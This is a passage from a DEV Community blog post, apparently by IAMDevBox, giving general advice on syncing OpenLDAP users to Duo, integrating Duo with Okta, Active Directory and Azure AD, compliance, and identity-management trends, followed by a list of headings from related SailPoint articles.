Insufficient Permissions: Verify that the bind DN has the necessary permissions to read user data from OpenLDAP.
Network Issues: Ensure that the Duo LDAP Connector server can communicate with the OpenLDAP server without network interruptions.
Attribute Mapping Errors: Double-check the attribute mapping to ensure that the correct LDAP attributes are mapped to Duo fields.
Overly Broad Filters: Avoid using overly broad user filters that could synchronize unnecessary users.

How do you integrate Duo with other identity providers?

Integrating Duo with other identity providers can enhance the security of your organization's applications and services. Here are some common integrations:

Active Directory: Use Duo's Active Directory Connector to synchronize users from Active Directory to Duo.
Okta: Integrate Duo with Okta using the Duo SCIM app to synchronize users and manage access.
Azure AD: Use Duo's Azure AD Connector to synchronize users from Azure AD to Duo.

Example Integration with Okta

Create a Duo SCIM App in Okta:
- Navigate to the Okta Admin Console and create a new application.
- Select "Duo SCIM" as the application type.
Configure the Duo SCIM App:
- Enter the necessary information, including the API hostname, integration key, and secret key from Duo.
Map Attributes:
- Map Okta user attributes to Duo fields to ensure accurate synchronization.
Enable Synchronization:
- Start the synchronization process and monitor for any issues.

Comparison Table

Identity Provider	Integration Method	Pros	Cons
Active Directory	Duo AD Connector	Seamless integration with existing AD infrastructure	Requires on-premises server
Okta	Duo SCIM App	Easy to configure through Okta Admin Console	Depends on Okta subscription
Azure AD	Duo Azure AD Connector	Integrated with Microsoft ecosystem	Requires Azure AD Premium license

How do you ensure compliance with regulatory requirements?

Ensuring compliance with regulatory requirements is crucial for protecting sensitive user data. Here are some steps to follow:

Understand Requirements: Familiarize yourself with relevant regulations such as GDPR, HIPAA, or CCPA.
Data Encryption: Ensure that all data transmitted between Duo and OpenLDAP is encrypted using TLS.
Access Controls: Implement strict access controls to limit who can view or modify user data.
Audit Logs: Enable and regularly review Duo's audit logs to track changes to user accounts and access.
Compliance Training: Provide training for administrators and staff on compliance best practices.

What are the future trends in identity management?

The field of identity management is constantly evolving, driven by advancements in technology and changing regulatory landscapes. Here are some future trends to watch:

Multi-Factor Authentication: Increased adoption of advanced MFA methods such as biometrics and hardware tokens.
Zero Trust Architecture: Shift towards zero trust models that assume breaches and verify every access request.
Single Sign-On (SSO): Expansion of SSO solutions to provide seamless access across multiple applications and services.
Artificial Intelligence (AI): Use of AI to detect and respond to suspicious activities in real-time.
Cloud Identity Providers: Growing popularity of cloud-based identity management solutions.

Conclusion

Synchronizing users and admins from OpenLDAP to Duo is a powerful way to enhance your organization's identity management processes. By following best practices and staying informed about the latest trends, you can ensure a secure, efficient, and compliant identity management solution.

🎯 Key Takeaways

Install and configure the Duo LDAP Connector to synchronize users from OpenLDAP.
Define user filters to specify which users should be synchronized.
Implement security best practices to protect user data during synchronization.
Regularly review and update your synchronization process to maintain accuracy and security.
Stay informed about the latest trends in identity management to adapt to changing requirements.

That's it. Simple, secure, works. Get started today!

DEV Community: IAMDevBox

SailPoint IdentityIQ vs IdentityNow (ISC): Migration Guide for 2026

relative: false

One Platform, Three Names

Architectural Differences That Actually Matter

Why BeanShell Rules Are the Hardest Migration Problem

Connector and Source Migration

Object Migration with sp-config

Realistic Migration Timeline

Should a New Deployment Start on IdentityIQ or ISC/Human Fabric?

Related Reading

Automating SailPoint IdentityIQ Certification Campaigns

Recurring Certifications: Automation Through the Schedule, Not a Script

Certification Events: Automation Triggered by Identity Changes

Tuning an Automated Campaign With Exclusion and Pre-Delegation Rules

Validating Before an Automated Campaign Goes Live

Related Reading

SailPoint IdentityIQ BeanShell Rule Cookbook: Provisioning and Certification Rules

Before and After Provisioning Rules

Before Provisioning: Reshaping the Plan

After Provisioning: Reacting to the Result

Certification Exclusion Rules

Staging an Exclusion Rule Before It Runs Against a Live Campaign

Finding the Argument List for Any Other Rule Type

SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide

relative: false

How Account Aggregation Actually Works

Failure Mode 1: Connector Exceptions

Failure Mode 2: Correlation Failures

Failure Mode 3: Terminated and Orphaned Tasks

Failure Mode 4: Hung Tasks

Reading the TaskResult Systematically

Verified Console Commands Reference

Enabling Debug Logging for a Specific Aggregation

Preventing Repeat Failures

Java, MySQL, and Shell Scripting for SailPoint IdentityIQ

The Stack, Concretely

Java: When to Leave BeanShell

Compiling Against the IdentityIQ API

Java Version Compatibility

Deploying a Custom JAR

MySQL: The IdentityIQ Schema

Generating and Loading the Schema

Connection Settings

The Tables You Will Actually Query

Read-Only Diagnostics That Save Real Time

Never Write Directly to the Database

Keeping the Database from Growing Forever

MySQL Settings That Matter

Shell Scripting: Automating the Console

Exporting Objects for Version Control

Deploying XML with Validation

A Health Check Worth Cron-ing

Watching Aggregation in Real Time

Putting It Together

SailPoint IdentityIQ BeanShell Rules, Workflows, and Tasks: A Developer's Guide

Choosing the Right Extension Point

BeanShell: The Language IdentityIQ Actually Runs

What BeanShell Does Not Support

Loose Typing Hides Bugs Until Runtime

Null Safety Is Entirely Your Job

Rules: The Most Common Extension Point

Anatomy of a Rule

Rule Types You Will Actually Write

Rule Libraries Prevent Copy-Paste Sprawl

The SailPointContext API

Use Projection Queries for Bulk Reads

Workflows: Orchestrating Processes That Pause

Steps and Transitions

Debugging Workflows

Tasks: Scheduled Bulk Operations

The iiq Console

Logging and Debugging

Deployment Practices That Prevent Outages

Where This Fits in Broader Identity Governance

Colombia Advances Public Sector Tech with Verifiable Credentials Workshop

Why This Matters Now

Understanding Prior Authorization Reforms

Background

Recent Reforms